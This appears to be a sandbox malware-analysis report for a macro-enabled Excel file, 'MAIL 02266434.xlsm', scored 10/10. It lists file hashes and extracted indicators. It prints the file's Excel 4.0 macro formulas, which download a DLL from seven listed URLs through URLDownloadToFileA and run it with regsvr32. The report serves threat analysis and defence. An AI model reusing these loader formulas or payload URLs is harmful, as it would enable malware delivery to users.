General
-
Target
f7b41f96cdf2e5b87c0998d921d391c6d794c367672f0de46e5b8e0b8458f06c
-
Size
172KB
-
Sample
220926-x31dhabgh3
-
MD5
bc898bb78ac6b9fc427c8e0f6fd91983
-
SHA1
dc9353048f9d9fcf91306725fa9296d461d75d57
-
SHA256
f7b41f96cdf2e5b87c0998d921d391c6d794c367672f0de46e5b8e0b8458f06c
-
SHA512
af91638bc4219d3e097a046eef9801f3ec436808434b6f241b05e11bf1f3d88c537d4edc0346c50eac7ad1419081134b0648ec17441b40bd1a0717b58dd31de9
-
SSDEEP
3072:45SkGfftZkL98byp2A082B5f8y6SoZ79E3wDeEeMdPe4ReyAFM0aFtQQnFdxKo:2tgfHkeIZPo5f85ZmEBGmeyAFM0EtjFJ
Behavioral task
behavioral1
Sample
MAIL 02266434.xlsm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
MAIL 02266434.xlsm
Resource
win10v2004-20220901-en
Malware Config
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
Targets
-
-
Target
MAIL 02266434.xlsm
-
Size
122KB
-
MD5
55309986ee64f89754e1cac6c574310f
-
SHA1
20c182da75ee38428023b6cb7889e0b9b7698e7d
-
SHA256
0957ca474ff66961201901e3f30f68d16dfe783f32aa862de6d6f5b4e607442a
-
SHA512
1575df0c06e54248766d7f12afdad35fec92fe59b802b6addc506ceda15a365cef15a98666da91c0f752c3747e5e352ad8bb240ae51935f250e083eff7e79e80
-
SSDEEP
3072:hDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:lAzSTgyYz5p6cQQ
Score10/10 -